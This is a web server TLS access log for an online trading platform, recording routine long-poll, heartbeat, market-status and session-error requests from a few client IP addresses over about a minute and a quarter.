[09/Jan/2026:10:43:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926863635 HTTP/1.1" -
[09/Jan/2026:10:43:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926880372 HTTP/1.1" -
[09/Jan/2026:10:43:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:43:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926868817 HTTP/1.1" -
[09/Jan/2026:10:43:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926866072 HTTP/1.1" -
[09/Jan/2026:10:43:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926868678 HTTP/1.1" -
[09/Jan/2026:10:43:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926885424 HTTP/1.1" -
[09/Jan/2026:10:43:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926874100 HTTP/1.1" -
[09/Jan/2026:10:43:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926872058 HTTP/1.1" -
[09/Jan/2026:10:43:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926873702 HTTP/1.1" -
[09/Jan/2026:10:43:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:43:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926890491 HTTP/1.1" -
[09/Jan/2026:10:43:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926879279 HTTP/1.1" -
[09/Jan/2026:10:43:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926878742 HTTP/1.1" -
[09/Jan/2026:10:43:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926878056 HTTP/1.1" -
[09/Jan/2026:10:43:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:43:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:43:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926895565 HTTP/1.1" -
[09/Jan/2026:10:43:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926884425 HTTP/1.1" -
[09/Jan/2026:10:43:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926883774 HTTP/1.1" -
[09/Jan/2026:10:43:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926884049 HTTP/1.1" -
[09/Jan/2026:10:43:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926900621 HTTP/1.1" -
[09/Jan/2026:10:43:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926889629 HTTP/1.1" -
[09/Jan/2026:10:43:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:43:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:43:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:43:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:43:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926888809 HTTP/1.1" -
[09/Jan/2026:10:43:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926890058 HTTP/1.1" -
[09/Jan/2026:10:43:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926905655 HTTP/1.1" -
[09/Jan/2026:10:43:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926894769 HTTP/1.1" -
[09/Jan/2026:10:43:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926893828 HTTP/1.1" -
[09/Jan/2026:10:43:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926910682 HTTP/1.1" -
[09/Jan/2026:10:43:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:43:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926896056 HTTP/1.1" -
[09/Jan/2026:10:43:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926899821 HTTP/1.1" -
[09/Jan/2026:10:43:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926898882 HTTP/1.1" -
[09/Jan/2026:10:43:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926915755 HTTP/1.1" -
[09/Jan/2026:10:43:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926904891 HTTP/1.1" -
[09/Jan/2026:10:43:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926902049 HTTP/1.1" -
[09/Jan/2026:10:43:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926903913 HTTP/1.1" -
[09/Jan/2026:10:43:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:43:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:43:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926920817 HTTP/1.1" -
[09/Jan/2026:10:43:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926910040 HTTP/1.1" -
[09/Jan/2026:10:43:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926908055 HTTP/1.1" -
[09/Jan/2026:10:43:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926908959 HTTP/1.1" -
[09/Jan/2026:10:44:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926925896 HTTP/1.1" -
[09/Jan/2026:10:44:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926915186 HTTP/1.1" -
[09/Jan/2026:10:44:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926913977 HTTP/1.1" -
[09/Jan/2026:10:44:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926914060 HTTP/1.1" -
[09/Jan/2026:10:44:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926930957 HTTP/1.1" -
[09/Jan/2026:10:44:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:44:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926920504 HTTP/1.1" -
[09/Jan/2026:10:44:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:44:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:44:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:44:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926919003 HTTP/1.1" -
[09/Jan/2026:10:44:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926920059 HTTP/1.1" -
[09/Jan/2026:10:44:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926936031 HTTP/1.1" -
[09/Jan/2026:10:44:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926925629 HTTP/1.1" -
[09/Jan/2026:10:44:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926924049 HTTP/1.1" -
[09/Jan/2026:10:44:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:44:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926941064 HTTP/1.1" -
[09/Jan/2026:10:44:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926926060 HTTP/1.1" -
[09/Jan/2026:10:44:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926930722 HTTP/1.1" -
[09/Jan/2026:10:44:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926929099 HTTP/1.1" -
[09/Jan/2026:10:44:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926946091 HTTP/1.1" -
[09/Jan/2026:10:44:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926932062 HTTP/1.1" -
[09/Jan/2026:10:44:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926935884 HTTP/1.1" -
[09/Jan/2026:10:44:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926934123 HTTP/1.1" -
[09/Jan/2026:10:44:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:44:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926951127 HTTP/1.1" -
[09/Jan/2026:10:44:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926941083 HTTP/1.1" -
[09/Jan/2026:10:44:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926938060 HTTP/1.1" -
